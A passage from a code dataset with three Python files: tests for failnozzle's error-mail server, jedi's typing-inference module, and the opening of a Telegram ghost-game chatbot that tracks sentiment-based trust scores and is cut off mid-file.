eq_('subj', subj)\n eq_('body', body)\n eq_(2, len(uniq_messages))\n\n eq_(1, subject_template.render.call_count)\n eq_(4, body_template.render.call_args[0][0]['total'])\n eq_(2, body_template.render.call_args[0][0]['total_unique'])\n eq_(2, len(body_template.render.call_args[0][0]['sorted_counts']))\n eq_('message1',\n body_template.render.call_args[0][0]['sorted_counts'][0][0].message)\n eq_({'app'}, body_template.render.call_args[0][0]['kinds'])\n\n\ndef test_message_counts():\n counts = MessageCounts()\n counts.increment('host1')\n eq_(1, counts.total)\n for i in range(10):\n counts.increment('host2')\n\n eq_(11, counts.total)\n eq_(2, len(counts.sources_sorted))\n eq_(('host1', 1), counts.sources_sorted[0])\n eq_(('host2', 10), counts.sources_sorted[1])\n\n\ndef test_message_rate():\n rate = MessageRate(3, 3)\n eq_((False, 1), rate.add_and_check(1))\n eq_((False, 1), rate.add_and_check(0))\n eq_((False, 2), rate.add_and_check(1))\n eq_((False, 2), rate.add_and_check(1))\n eq_((True, 7), rate.add_and_check(5))\n rate.reset()\n eq_((False, 2), rate.add_and_check(2))\n\n\ndef test_is_just_monitoring_error():\n def check_is_just_monitoring_error(text, expected):\n \"Verify the given message text is(n't) a monitoring error\"\n msg1 = UniqueMessage('test', 'test', 'test', text, 'test.py', 1,\n 'exception text', 'app')\n msg2 = UniqueMessage('test', 'test', 'test', 'message text',\n 'test.py', 1, text, 'app')\n\n eq_(expected, is_just_monitoring_error(msg1))\n eq_(expected, is_just_monitoring_error(msg2))\n\n data = [\n (\"It's 1669fe88-b0c3-439d-bc10-8a3d21493ede\", True),\n (\"Oh, and c84a3673-0a95-447b-810f-8107e1e38013 is good too\", True),\n (\"This is just a regular message\", False),\n ]\n for text, expected in data:\n yield check_is_just_monitoring_error, text, expected\n\n\ndef test_calc_recips():\n monitoring_to = 'a@example.com'\n report_to = 'b@example.com'\n\n def check_calc_recips(msg, expected):\n \"Patch the server's matchers and verify the patterns work as expected\"\n with patch('failnozzle.server.RECIP_MATCHERS',\n new=list(server.RECIP_MATCHERS)) as matchers:\n for i, matcher in enumerate(matchers):\n if matcher[1].__name__ == 'is_just_monitoring_error':\n matchers[i] = (monitoring_to, matcher[1])\n else:\n matchers[i] = (report_to, matcher[1])\n\n eq_([expected], calc_recips([msg]))\n\n data = [\n (\"Oho, 1669fe88-b0c3-439d-bc10-8a3d21493ede\", monitoring_to),\n (\"This is a real actual error (sorta)\", report_to),\n ]\n for msg_text, expected in data:\n msg = UniqueMessage('test', 'test', 'test', 'message text',\n 'test.py', 1, msg_text, 'app')\n yield check_calc_recips, msg, expected\n\n\ndef test_process_one_message():\n \"\"\"\n Test we can process one message.\n \"\"\"\n # Build our expected message\n message = {'module': 'log',\n 'funcName': 'log_exception',\n 'message': 'GET http://localhost:5000/folders/5/emails',\n 'filename': 'log.py',\n 'lineno': 214, 'args': [],\n 'exc_text': 'Traceback (most recent call last):',\n 'kind': 'app',\n 'pathname': '/some/path.py',\n 'source': 'eric-desktop'}\n\n message_params = {k: v for k, v in message.items()\n # Intentionally ignoring Pylint's reservations about\n # accessing private members here\n # pylint: disable=W0212\n if k in UniqueMessage._fields}\n # pylint: enable=W0212\n expected_message = _package_unique_message(message_params)\n\n # Set up mocks for the queue and buffer.\n message_queue = Mock()\n message_queue.get.return_value = message\n message_buffer = Mock()\n\n _process_one_message(message_queue, message_buffer)\n\n # Make sure we sent this message to the buffer as expected.\n message_buffer.add.assert_called_once_with(expected_message,\n message['source'])\n\n\ndef test_process_one_multiline():\n \"\"\"\n Test we gracefully handle a message where the message file is split\n over multiple lines. This means the stack trace is also the message.\n We want to clip it so the message is only the first line of the\n message.\n \"\"\"\n # Build our expected message\n message = {'module': 'log',\n 'funcName': 'log_exception',\n 'message': '1\\n2\\n3\\n',\n 'filename': 'log.py',\n 'lineno': 214, 'args': [],\n 'exc_text': 'Traceback (most recent call last):',\n 'kind': 'app',\n 'pathname': '/some/path.py',\n 'source': 'eric-desktop'}\n\n message_params = {k: v for k, v in message.items()\n # Intentionally ignoring Pylint's reservations about\n # accessing private members here\n # pylint: disable=W0212\n if k in UniqueMessage._fields}\n # pylint: enable=W0212\n # Make sure we clip after the newline.\n message_params['message'] = '1'\n expected_message = _package_unique_message(message_params)\n\n # Set up mocks for the queue and buffer.\n message_queue = Mock()\n message_queue.get.return_value = message\n message_buffer = Mock()\n\n _process_one_message(message_queue, message_buffer)\n\n # Make sure we sent this message to the buffer as expected.\n message_buffer.add.assert_called_once_with(expected_message,\n message['source'])\n\n\ndef test_process_one_fill_exc():\n \"\"\"\n Test we gracefully handle a message where the message file is split\n over multiple lines. This means the stack trace is also the message. In\n this case we only got message and not exc_text, make sure we fill exc\n text from message.\n We want to clip it so the message is only the first line of the\n message.\n \"\"\"\n # Build our expected message\n message = {'module': 'log',\n 'funcName': 'log_exception',\n 'message': '1\\n2\\n3\\n',\n 'filename': 'log.py',\n 'lineno': 214, 'args': [],\n 'kind': 'app',\n 'pathname': '/some/path.py',\n 'source': 'eric-desktop'}\n\n message_params = {k: v for k, v in message.items()\n # Intentionally ignoring Pylint's reservations about\n # accessing private members here\n # pylint: disable=W0212\n if k in UniqueMessage._fields}\n # pylint: enable=W0212\n # Make sure we clip after the newline and fill exc_text\n message_params['message'] = '1'\n message_params['exc_text'] = '1\\n2\\n3\\n'\n expected_message = _package_unique_message(message_params)\n\n # Set up mocks for the queue and buffer.\n message_queue = Mock()\n message_queue.get.return_value = message\n message_buffer = Mock()\n\n _process_one_message(message_queue, message_buffer)\n\n # Make sure we sent this message to the buffer as expected.\n message_buffer.add.assert_called_once_with(expected_message,\n message['source'])\n\n\n@patch('failnozzle.server.send_email')\ndef test_mailer_no_recips(send_email_mock):\n \"\"\"\n Make sure if we don't have anyone to send an email to we send it to a\n fall back address to try to communicate things are broken.\n \"\"\"\n subject = 'subject'\n report = 'report'\n mailer([], subject, report)\n send_email_mock.assert_called_once_with(setting('REPORT_FROM', ''),\n setting('REPORT_TO', ''),\n subject,\n report,\n reply_to=setting('REPLY_TO', ''))\n\n\n@patch('gevent.joinall')\n@patch('gevent.spawn')\ndef test_flusher_none(spawn, joinall):\n \"\"\"\n Test that we don't do anything if there is nothing to do.\n \"\"\"\n template_dir = os.path.join(os.path.dirname(__file__), '..')\n\n pager_window = 5\n pager_limit = 10\n\n message_rate = MessageRate(pager_window, pager_limit)\n\n env = Environment(loader=FileSystemLoader(template_dir))\n message_buffer = MessageBuffer(env.get_template('subject-template.txt'),\n env.get_template('body-template.txt'))\n flusher(message_buffer, message_rate)\n\n # We shouldn't have done anything\n eq_(0, spawn.call_count)\n eq_(0, joinall.call_count)\n\n\n@patch.multiple('gevent', spawn=DEFAULT, joinall=DEFAULT)\ndef test_flusher_message(spawn, joinall):\n \"\"\"\n Test that we email a simple record appropriately.\n \"\"\"\n template_dir = os.path.join(os.path.dirname(__file__), '..')\n\n pager_window = 5\n pager_limit = 10\n\n message_rate = MessageRate(pager_window, pager_limit)\n\n spawn_ret_val = object()\n spawn.return_value = spawn_ret_val\n\n env = Environment(loader=FileSystemLoader(template_dir))\n message_buffer = MessageBuffer(env.get_template('subject-template.txt'),\n env.get_template('body-template.txt'))\n\n message = UniqueMessage('module', 'funcName', 'filename', 'message',\n 'pathname', 'lineno', 'exc_text', 'kind')\n\n message_buffer.add(message, 'source')\n\n flusher(message_buffer, message_rate)\n spawn.assert_called_once_with(mailer, ANY, ANY, ANY)\n\n # We shouldn't have done anything\n eq_(1, spawn.call_count)\n eq_(1, joinall.call_count)\n joinall.assert_called_once_with([spawn_ret_val])\n\n\n@patch.multiple('gevent', spawn=DEFAULT, joinall=DEFAULT)\n@patch.multiple('failnozzle.server', pager=DEFAULT, mailer=DEFAULT)\ndef test_flusher_rate_excede(spawn, joinall, pager, mailer):\n \"\"\"\n Test that we complain extra loudly if we get too many errors.\n \"\"\"\n template_dir = os.path.join(os.path.dirname(__file__), '..')\n\n pager_window = 5\n pager_limit = 10\n\n message_rate = MessageRate(pager_window, pager_limit)\n\n spawn_ret_val = object()\n spawn.return_value = spawn_ret_val\n\n env = Environment(loader=FileSystemLoader(template_dir))\n message_buffer = MessageBuffer(env.get_template('subject-template.txt'),\n env.get_template('body-template.txt'))\n\n for i in range(pager_limit + 1):\n message_buffer.add(UniqueMessage('module', 'funcName', 'filename',\n 'message', 'pathname', i,\n 'exc_text', 'kind'),\n 'source')\n\n flusher(message_buffer, message_rate)\n eq_([call(pager, pager_limit + 1),\n call(mailer, ANY, ANY, ANY)],\n spawn.call_args_list)\n\n # We shouldn't have done anything\n eq_(2, spawn.call_count)\n eq_(1, joinall.call_count)\n joinall.assert_called_once_with([spawn_ret_val] * 2)\n","repo_name":"wingu/failnozzle","sub_path":"failnozzle/tests/test_server.py","file_name":"test_server.py","file_ext":"py","file_size_in_byte":12717,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"36"} +{"seq_id":"27022694469","text":"\"\"\"\nWe need to somehow work with the typing objects. Since the typing objects are\npretty bare we need to add all the Jedi customizations to make them work as\nvalues.\n\nThis file deals with all the typing.py cases.\n\"\"\"\nimport itertools\n\nfrom jedi import debug\nfrom jedi.inference.compiled import builtin_from_name, create_simple_object\nfrom jedi.inference.base_value import ValueSet, NO_VALUES, Value, \\\n LazyValueWrapper, ValueWrapper\nfrom jedi.inference.lazy_value import LazyKnownValues\nfrom jedi.inference.arguments import repack_with_argument_clinic\nfrom jedi.inference.filters import FilterWrapper\nfrom jedi.inference.names import NameWrapper, ValueName\nfrom jedi.inference.value.klass import ClassMixin\nfrom jedi.inference.gradual.base import BaseTypingValue, \\\n BaseTypingClassWithGenerics, BaseTypingInstance\nfrom jedi.inference.gradual.type_var import TypeVarClass\nfrom jedi.inference.gradual.generics import LazyGenericManager, TupleGenericManager\n\n_PROXY_CLASS_TYPES = 'Tuple Generic Protocol Callable Type'.split()\n_TYPE_ALIAS_TYPES = {\n 'List': 'builtins.list',\n 'Dict': 'builtins.dict',\n 'Set': 'builtins.set',\n 'FrozenSet': 'builtins.frozenset',\n 'ChainMap': 'collections.ChainMap',\n 'Counter': 'collections.Counter',\n 'DefaultDict': 'collections.defaultdict',\n 'Deque': 'collections.deque',\n}\n_PROXY_TYPES = 'Optional Union ClassVar Annotated'.split()\n\n\nclass TypingModuleName(NameWrapper):\n def infer(self):\n return ValueSet(self._remap())\n\n def _remap(self):\n name = self.string_name\n inference_state = self.parent_context.inference_state\n try:\n actual = _TYPE_ALIAS_TYPES[name]\n except KeyError:\n pass\n else:\n yield TypeAlias.create_cached(\n inference_state, self.parent_context, self.tree_name, actual)\n return\n\n if name in _PROXY_CLASS_TYPES:\n yield ProxyTypingClassValue.create_cached(\n inference_state, self.parent_context, self.tree_name)\n elif name in _PROXY_TYPES:\n yield ProxyTypingValue.create_cached(\n inference_state, self.parent_context, self.tree_name)\n elif name == 'runtime':\n # We don't want anything here, not sure what this function is\n # supposed to do, since it just appears in the stubs and shouldn't\n # have any effects there (because it's never executed).\n return\n elif name == 'TypeVar':\n cls, = self._wrapped_name.infer()\n yield TypeVarClass.create_cached(inference_state, cls)\n elif name == 'Any':\n yield AnyClass.create_cached(\n inference_state, self.parent_context, self.tree_name)\n elif name == 'TYPE_CHECKING':\n # This is needed for e.g. imports that are only available for type\n # checking or are in cycles. The user can then check this variable.\n yield builtin_from_name(inference_state, 'True')\n elif name == 'overload':\n yield OverloadFunction.create_cached(\n inference_state, self.parent_context, self.tree_name)\n elif name == 'NewType':\n v, = self._wrapped_name.infer()\n yield NewTypeFunction.create_cached(inference_state, v)\n elif name == 'cast':\n cast_fn, = self._wrapped_name.infer()\n yield CastFunction.create_cached(inference_state, cast_fn)\n elif name == 'TypedDict':\n # TODO doesn't even exist in typeshed/typing.py, yet. But will be\n # added soon.\n yield TypedDictClass.create_cached(\n inference_state, self.parent_context, self.tree_name)\n else:\n # Not necessary, as long as we are not doing type checking:\n # no_type_check & no_type_check_decorator\n # Everything else shouldn't be relevant...\n yield from self._wrapped_name.infer()\n\n\nclass TypingModuleFilterWrapper(FilterWrapper):\n name_wrapper_class = TypingModuleName\n\n\nclass ProxyWithGenerics(BaseTypingClassWithGenerics):\n def execute_annotation(self):\n string_name = self._tree_name.value\n\n if string_name == 'Union':\n # This is kind of a special case, because we have Unions (in Jedi\n # ValueSets).\n return self.gather_annotation_classes().execute_annotation()\n elif string_name == 'Optional':\n # Optional is basically just saying it's either None or the actual\n # type.\n return self.gather_annotation_classes().execute_annotation() \\\n | ValueSet([builtin_from_name(self.inference_state, 'None')])\n elif string_name == 'Type':\n # The type is actually already given in the index_value\n return self._generics_manager[0]\n elif string_name in ['ClassVar', 'Annotated']:\n # For now don't do anything here, ClassVars are always used.\n return self._generics_manager[0].execute_annotation()\n\n mapped = {\n 'Tuple': Tuple,\n 'Generic': Generic,\n 'Protocol': Protocol,\n 'Callable': Callable,\n }\n cls = mapped[string_name]\n return ValueSet([cls(\n self.parent_context,\n self,\n self._tree_name,\n generics_manager=self._generics_manager,\n )])\n\n def gather_annotation_classes(self):\n return ValueSet.from_sets(self._generics_manager.to_tuple())\n\n def _create_instance_with_generics(self, generics_manager):\n return ProxyWithGenerics(\n self.parent_context,\n self._tree_name,\n generics_manager\n )\n\n def infer_type_vars(self, value_set):\n annotation_generics = self.get_generics()\n\n if not annotation_generics:\n return {}\n\n annotation_name = self.py__name__()\n if annotation_name == 'Optional':\n # Optional[T] is equivalent to Union[T, None]. In Jedi unions\n # are represented by members within a ValueSet, so we extract\n # the T from the Optional[T] by removing the None value.\n none = builtin_from_name(self.inference_state, 'None')\n return annotation_generics[0].infer_type_vars(\n value_set.filter(lambda x: x != none),\n )\n\n return {}\n\n\nclass ProxyTypingValue(BaseTypingValue):\n index_class = ProxyWithGenerics\n\n def with_generics(self, generics_tuple):\n return self.index_class.create_cached(\n self.inference_state,\n self.parent_context,\n self._tree_name,\n generics_manager=TupleGenericManager(generics_tuple)\n )\n\n def py__getitem__(self, index_value_set, contextualized_node):\n return ValueSet(\n self.index_class.create_cached(\n self.inference_state,\n self.parent_context,\n self._tree_name,\n generics_manager=LazyGenericManager(\n context_of_index=contextualized_node.context,\n index_value=index_value,\n )\n ) for index_value in index_value_set\n )\n\n\nclass _TypingClassMixin(ClassMixin):\n def py__bases__(self):\n return [LazyKnownValues(\n self.inference_state.builtins_module.py__getattribute__('object')\n )]\n\n def get_metaclasses(self):\n return []\n\n @property\n def name(self):\n return ValueName(self, self._tree_name)\n\n\nclass TypingClassWithGenerics(ProxyWithGenerics, _TypingClassMixin):\n def infer_type_vars(self, value_set):\n type_var_dict = {}\n annotation_generics = self.get_generics()\n\n if not annotation_generics:\n return type_var_dict\n\n annotation_name = self.py__name__()\n if annotation_name == 'Type':\n return annotation_generics[0].infer_type_vars(\n # This is basically a trick to avoid extra code: We execute the\n # incoming classes to be able to use the normal code for type\n # var inference.\n value_set.execute_annotation(),\n )\n\n elif annotation_name == 'Callable':\n if len(annotation_generics) == 2:\n return annotation_generics[1].infer_type_vars(\n value_set.execute_annotation(),\n )\n\n elif annotation_name == 'Tuple':\n tuple_annotation, = self.execute_annotation()\n return tuple_annotation.infer_type_vars(value_set)\n\n return type_var_dict\n\n def _create_instance_with_generics(self, generics_manager):\n return TypingClassWithGenerics(\n self.parent_context,\n self._tree_name,\n generics_manager\n )\n\n\nclass ProxyTypingClassValue(ProxyTypingValue, _TypingClassMixin):\n index_class = TypingClassWithGenerics\n\n\nclass TypeAlias(LazyValueWrapper):\n def __init__(self, parent_context, origin_tree_name, actual):\n self.inference_state = parent_context.inference_state\n self.parent_context = parent_context\n self._origin_tree_name = origin_tree_name\n self._actual = actual # e.g. builtins.list\n\n @property\n def name(self):\n return ValueName(self, self._origin_tree_name)\n\n def py__name__(self):\n return self.name.string_name\n\n def __repr__(self):\n return '<%s: %s>' % (self.__class__.__name__, self._actual)\n\n def _get_wrapped_value(self):\n module_name, class_name = self._actual.split('.')\n\n # TODO use inference_state.import_module?\n from jedi.inference.imports import Importer\n module, = Importer(\n self.inference_state, [module_name], self.inference_state.builtins_module\n ).follow()\n classes = module.py__getattribute__(class_name)\n # There should only be one, because it's code that we control.\n assert len(classes) == 1, classes\n cls = next(iter(classes))\n return cls\n\n def gather_annotation_classes(self):\n return ValueSet([self._get_wrapped_value()])\n\n def get_signatures(self):\n return []\n\n\nclass Callable(BaseTypingInstance):\n def py__call__(self, arguments):\n \"\"\"\n def x() -> Callable[[Callable[..., _T]], _T]: ...\n \"\"\"\n # The 0th index are the arguments.\n try:\n param_values = self._generics_manager[0]\n result_values = self._generics_manager[1]\n except IndexError:\n debug.warning('Callable[...] defined without two arguments')\n return NO_VALUES\n else:\n from jedi.inference.gradual.annotation import infer_return_for_callable\n return infer_return_for_callable(arguments, param_values, result_values)\n\n def py__get__(self, instance, class_value):\n return ValueSet([self])\n\n\nclass Tuple(BaseTypingInstance):\n def _is_homogenous(self):\n # To specify a variable-length tuple of homogeneous type, Tuple[T, ...]\n # is used.\n return self._generics_manager.is_homogenous_tuple()\n\n def py__simple_getitem__(self, index):\n if self._is_homogenous():\n return self._generics_manager.get_index_and_execute(0)\n else:\n if isinstance(index, int):\n return self._generics_manager.get_index_and_execute(index)\n\n debug.dbg('The getitem type on Tuple was %s' % index)\n return NO_VALUES\n\n def py__iter__(self, contextualized_node=None):\n if self._is_homogenous():\n yield LazyKnownValues(self._generics_manager.get_index_and_execute(0))\n else:\n for v in self._generics_manager.to_tuple():\n yield LazyKnownValues(v.execute_annotation())\n\n def py__getitem__(self, index_value_set, contextualized_node):\n if self._is_homogenous():\n return self._generics_manager.get_index_and_execute(0)\n\n return ValueSet.from_sets(\n self._generics_manager.to_tuple()\n ).execute_annotation()\n\n def _get_wrapped_value(self):\n tuple_, = self.inference_state.builtins_module \\\n .py__getattribute__('tuple').execute_annotation()\n return tuple_\n\n @property\n def name(self):\n return self._wrapped_value.name\n\n def infer_type_vars(self, value_set):\n # Circular\n from jedi.inference.gradual.annotation import merge_pairwise_generics, merge_type_var_dicts\n\n value_set = value_set.filter(\n lambda x: x.py__name__().lower() == 'tuple',\n )\n\n if self._is_homogenous():\n # The parameter annotation is of the form `Tuple[T, ...]`,\n # so we treat the incoming tuple like a iterable sequence\n # rather than a positional container of elements.\n return self._class_value.get_generics()[0].infer_type_vars(\n value_set.merge_types_of_iterate(),\n )\n\n else:\n # The parameter annotation has only explicit type parameters\n # (e.g: `Tuple[T]`, `Tuple[T, U]`, `Tuple[T, U, V]`, etc.) so we\n # treat the incoming values as needing to match the annotation\n # exactly, just as we would for non-tuple annotations.\n\n type_var_dict = {}\n for element in value_set:\n try:\n method = element.get_annotated_class_object\n except AttributeError:\n # This might still happen, because the tuple name matching\n # above is not 100% correct, so just catch the remaining\n # cases here.\n continue\n\n py_class = method()\n merge_type_var_dicts(\n type_var_dict,\n merge_pairwise_generics(self._class_value, py_class),\n )\n\n return type_var_dict\n\n\nclass Generic(BaseTypingInstance):\n pass\n\n\nclass Protocol(BaseTypingInstance):\n pass\n\n\nclass AnyClass(BaseTypingValue):\n def execute_annotation(self):\n debug.warning('Used Any - returned no results')\n return NO_VALUES\n\n\nclass OverloadFunction(BaseTypingValue):\n @repack_with_argument_clinic('func, /')\n def py__call__(self, func_value_set):\n # Just pass arguments through.\n return func_value_set\n\n\nclass NewTypeFunction(ValueWrapper):\n def py__call__(self, arguments):\n ordered_args = arguments.unpack()\n next(ordered_args, (None, None))\n _, second_arg = next(ordered_args, (None, None))\n if second_arg is None:\n return NO_VALUES\n return ValueSet(\n NewType(\n self.inference_state,\n contextualized_node.context,\n contextualized_node.node,\n second_arg.infer(),\n ) for contextualized_node in arguments.get_calling_nodes())\n\n\nclass NewType(Value):\n def __init__(self, inference_state, parent_context, tree_node, type_value_set):\n super().__init__(inference_state, parent_context)\n self._type_value_set = type_value_set\n self.tree_node = tree_node\n\n def py__class__(self):\n c, = self._type_value_set.py__class__()\n return c\n\n def py__call__(self, arguments):\n return self._type_value_set.execute_annotation()\n\n @property\n def name(self):\n from jedi.inference.compiled.value import CompiledValueName\n return CompiledValueName(self, 'NewType')\n\n def __repr__(self) -> str:\n return '%s' % (self.tree_node, self._type_value_set)\n\n\nclass CastFunction(ValueWrapper):\n @repack_with_argument_clinic('type, object, /')\n def py__call__(self, type_value_set, object_value_set):\n return type_value_set.execute_annotation()\n\n\nclass TypedDictClass(BaseTypingValue):\n \"\"\"\n This class has no responsibilities and is just here to make sure that typed\n dicts can be identified.\n \"\"\"\n\n\nclass TypedDict(LazyValueWrapper):\n \"\"\"Represents the instance version of ``TypedDictClass``.\"\"\"\n def __init__(self, definition_class):\n self.inference_state = definition_class.inference_state\n self.parent_context = definition_class.parent_context\n self.tree_node = definition_class.tree_node\n self._definition_class = definition_class\n\n @property\n def name(self):\n return ValueName(self, self.tree_node.name)\n\n def py__simple_getitem__(self, index):\n if isinstance(index, str):\n return ValueSet.from_sets(\n name.infer()\n for filter in self._definition_class.get_filters(is_instance=True)\n for name in filter.get(index)\n )\n return NO_VALUES\n\n def get_key_values(self):\n filtered_values = itertools.chain.from_iterable((\n f.values()\n for f in self._definition_class.get_filters(is_instance=True)\n ))\n return ValueSet({\n create_simple_object(self.inference_state, v.string_name)\n for v in filtered_values\n })\n\n def _get_wrapped_value(self):\n d, = self.inference_state.builtins_module.py__getattribute__('dict')\n result, = d.execute_with_values()\n return result\n","repo_name":"davidhalter/jedi","sub_path":"jedi/inference/gradual/typing.py","file_name":"typing.py","file_ext":"py","file_size_in_byte":17255,"program_lang":"python","lang":"en","doc_type":"code","stars":5554,"dataset":"github-code","pt":"36"} +{"seq_id":"5645022303","text":"from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, PicklePersistence\nfrom telegram import ChatAction\nfrom functools import wraps\nfrom urllib.parse import urlencode\nimport requests\nfrom requests.adapters import HTTPAdapter\nfrom requests.packages.urllib3.util.retry import Retry\nimport pickle\nimport os.path\nimport torch\n\nfrom .utils import *\nuser_histories = {}\nuser_scores = {}\nuser_warnings = {}\n\nlogger = setup_logger(__name__)\n\n\ndef start_command(update, context):\n \"\"\"Start a new dialogue when user sends the command \"/start\".\"\"\"\n\n logger.debug(f\"{update.effective_message.chat_id} - User: /start\")\n # context.chat_data['turns'] = []\n update.message.reply_text(\"Just start texting me. \"\n \"If I'm getting annoying, type \\\"/stop_game\\\". \"\n \"Type \\\"/show_scores\\\" to see your trust score. \"\n \"Make sure to send no more than one message per turn.\")\n\n\ndef reset_command(update, context):\n \"\"\"Reset the dialogue when user sends the command \"/reset\".\"\"\"\n\n logger.debug(f\"{update.effective_message.chat_id} - User: /stop_game\")\n user_histories[update.effective_message.chat_id] = None\n user_scores[update.effective_message.chat_id] = 0\n user_warnings[update.effective_message.chat_id]['had_negative'] = False\n user_warnings[update.effective_message.chat_id]['had_positive'] = False\n update.message.reply_text(\"Beep beep!\")\n\n\ndef show_scores_command(update, context):\n logger.debug(f\"{update.effective_message.chat_id} - User: /show_scores\")\n update.message.reply_text(\"_Your current trust score is: {}_\".format(user_scores[update.effective_message.chat_id]),\n parse_mode='Markdown')\n\n\ndef requests_retry_session(retries=3, backoff_factor=0.3, status_forcelist=(500, 502, 504), session=None):\n \"\"\"Retry n times if unsuccessful.\"\"\"\n\n session = session or requests.Session()\n retry = Retry(\n total=retries,\n read=retries,\n connect=retries,\n backoff_factor=backoff_factor,\n status_forcelist=status_forcelist,\n )\n adapter = HTTPAdapter(max_retries=retry)\n session.mount('http://', adapter)\n session.mount('https://', adapter)\n return session\n\n\n# def translate_message_to_gif(message, **chatbot_params):\n# \"\"\"Translate message text into a GIF.\n#\n# See https://engineering.giphy.com/contextually-aware-search-giphy-gets-work-specific/\"\"\"\n#\n# params = {\n# 'api_key': chatbot_params['giphy_token'],\n# 's': message,\n# 'weirdness': chatbot_params.get('giphy_weirdness', 5)\n# }\n# url = \"http://api.giphy.com/v1/gifs/translate?\" + urlencode(params)\n# response = requests_retry_session().get(url)\n# return response.json()['data']['images']['fixed_height']['url']\n\n\ndef self_decorator(self, func):\n \"\"\"Passes bot object to func command.\"\"\"\n\n def command_func(update, context, *args, **kwargs):\n return func(self, update, context, *args, **kwargs)\n\n return command_func\n\n\ndef send_action(action):\n \"\"\"Sends `action` while processing func command.\"\"\"\n\n def decorator(func):\n @wraps(func)\n def command_func(self, update, context, *args, **kwargs):\n context.bot.send_chat_action(chat_id=update.effective_message.chat_id, action=action)\n return func(self, update, context, *args, **kwargs)\n\n return command_func\n\n return decorator\n\n\nsend_typing_action = send_action(ChatAction.TYPING)\n\nstart_rep_dict = {\n 0: ' I am a ghost. I served all my life faithfully and keep serving my masters in death. Hundreds of years on the guard! No one shall pass! \\\\',\n 1: ' I am a ghost. I served all my life faithfully and keep serving my masters in death. You shall not pass, so I’d rather you go away and mind your own business. \\\\',\n 2: ' I am a ghost. I served all my life faithfully and keep serving my masters in death. You shall not pass, so I’d rather you go away and mind your own business. \\\\',\n 3: ' I am a ghost. I served all my life faithfully and keep serving my masters in death. Even though you are nice to the old ghost, I cannot let you in. You better drink some beer and mourn your good fellow forever stuck in here. \\\\',\n 4: ' I am a ghost. I served all my life faithfully and keep serving my masters in death. Even though you are nice to the old ghost, I cannot let you in. You better drink some beer and mourn your good fellow forever stuck in here. \\\\',\n 5: ' I am a ghost. I served all my life faithfully and keep serving my masters in death. Please leave this lonely ghost, so I will not grieve my poor life lived in vain. \\\\',\n 6: ' I am a ghost. I served all my life faithfully and keep serving my masters in death. Please leave this lonely ghost, so I will not grieve my poor life lived in vain. \\\\',\n -1: ' I am a ghost. I served all my life faithfully and keep serving my masters in death. Go away now or I’ll need to use my powers! \\\\',\n -2: ' I am a ghost. I served all my life faithfully and keep serving my masters in death. Go away now or I’ll need to use my powers! \\\\',\n -3: ' I am a ghost. I served all my life faithfully and keep serving my masters in death. Such a fiend shall vanish. This is your last chance. Leave! \\\\',\n -4: ' I am a ghost. I served all my life faithfully and keep serving my masters in death. Such a fiend shall vanish. This is your last chance. Leave! \\\\'\n}\n\nlast_pos_reply = \"Embarrassing... My life was lived in vain. I think I can rest in peace now, learning compassion \" \\\n \"for the first time in my poor life. Bless you, young man.\\n_The ghost vanished and left \" \\\n \"you with an eerie feeling_\"\npos_ending = \"_Congratulations! You earned the Bot's trust. Now you can continue the quest!_\"\nlast_pos_action = \"_The ghost vanished and left you alone with an eerie feeling._\"\n\nlast_neg_reply = \"May all your kinship burn in hell. Prepare to fight!\"\nneg_ending = \"_Congratulations! You were so annoying that the Bot won't speak to you anymore.**\\n**p.s. Run..._\"\n\n@send_typing_action\ndef message(self, update, context):\n \"\"\"Receive message, generate response, and send it back to the user.\"\"\"\n\n user_message = update.message.text\n user_id = update.effective_message.chat_id\n logger.debug(f\"{update.effective_message.chat_id} - User: {user_message}\")\n\n if user_id not in user_scores:\n user_scores[user_id] = 0\n start_rep = start_rep_dict[user_scores[user_id]]\n new_user_input_ids = self.tokenizer.encode(\n start_rep + user_message + self.tokenizer.eos_token, return_tensors='pt')\n\n # получаем сентимент\n sentiment_info = get_sentiment(user_message)\n # обновляем trust scores\n if user_id not in user_warnings:\n user_warnings[user_id] = {'had_negative': False, 'had_positive': False}\n user_scores[user_id], user_warnings[user_id]['had_negative'], user_warnings[user_id]['had_positive'], mes = \\\n update_trust_scores(\n sentiment_info,\n user_scores[user_id],\n user_warnings[user_id]['had_negative'], user_warnings[user_id]['had_positive'])\n if mes:\n update.message.reply_text(mes, parse_mode='Markdown')\n\n # заканчиваем игру, если пора заканчивать\n if user_scores[user_id] == 7:\n update.message.reply_text(last_pos_reply, parse_mode='Markdown')\n update.message.reply_text(pos_ending, parse_mode='Markdown')\n update.message.reply_text(last_pos_action, parse_mode='Markdown')\n user_histories[update.effective_message.chat_id] = None\n user_scores[update.effective_message.chat_id] = 0\n user_warnings[user_id]['had_negative'] = False\n user_warnings[user_id]['had_positive'] = False\n return\n elif user_scores[user_id] == -5:\n update.message.reply_text(last_neg_reply, parse_mode='Markdown')\n update.message.reply_text(neg_ending, parse_mode='Markdown')\n user_histories[update.effective_message.chat_id] = None\n user_scores[update.effective_message.chat_id] = 0\n user_warnings[user_id]['had_negative'] = False\n user_warnings[user_id]['had_positive'] = False\n return\n\n # запоминаем историю текущего юзера\n if user_id not in user_histories:\n user_histories[user_id] = None\n chat_history_ids = user_histories[user_id]\n\n # готовим историю (последние 10 реплик) + добавляем сентимент\n bot_input_ids = torch.cat([chat_history_ids[:, -10:], new_user_input_ids],\n dim=-1) if chat_history_ids is not None else new_user_input_ids\n sentiment_ids = self.tokenizer .encode('\\\\\\\\ [{}] || '.format(sentiment_info), return_tensors='pt')\n bot_input_ids = torch.cat([bot_input_ids, sentiment_ids], dim=-1)\n\n\n # Generate bot messages\n chat_history_ids = generate_responses(\n bot_input_ids,\n self.generation_pipeline,\n self.tokenizer,\n seed=self.seed,\n debug=self.debug,\n **self.generator_kwargs\n )\n\n chat_history_ids = chat_history_ids[:, :-2]\n\n output_text = self.tokenizer.decode(\n chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)\n output_text = clean_text(output_text)\n output_text = replace_vocatives(output_text, 'Username')\n user_histories[user_id] = chat_history_ids\n\n logger.debug(f\"{update.effective_message.chat_id} - Bot: {output_text}\")\n # Return response as text\n update.message.reply_text(output_text)\n\n\ndef error(update, context):\n logger.warning(context.error)\n\n\nclass TelegramBot:\n \"\"\"Telegram bot based on python-telegram-bot.\"\"\"\n\n def __init__(self, **kwargs):\n # Extract parameters\n general_params = kwargs.get('general_params', {})\n device = general_params.get('device', -1)\n seed = general_params.get('seed', None)\n debug = general_params.get('debug', False)\n\n generation_pipeline_kwargs = kwargs.get('generation_pipeline_kwargs', 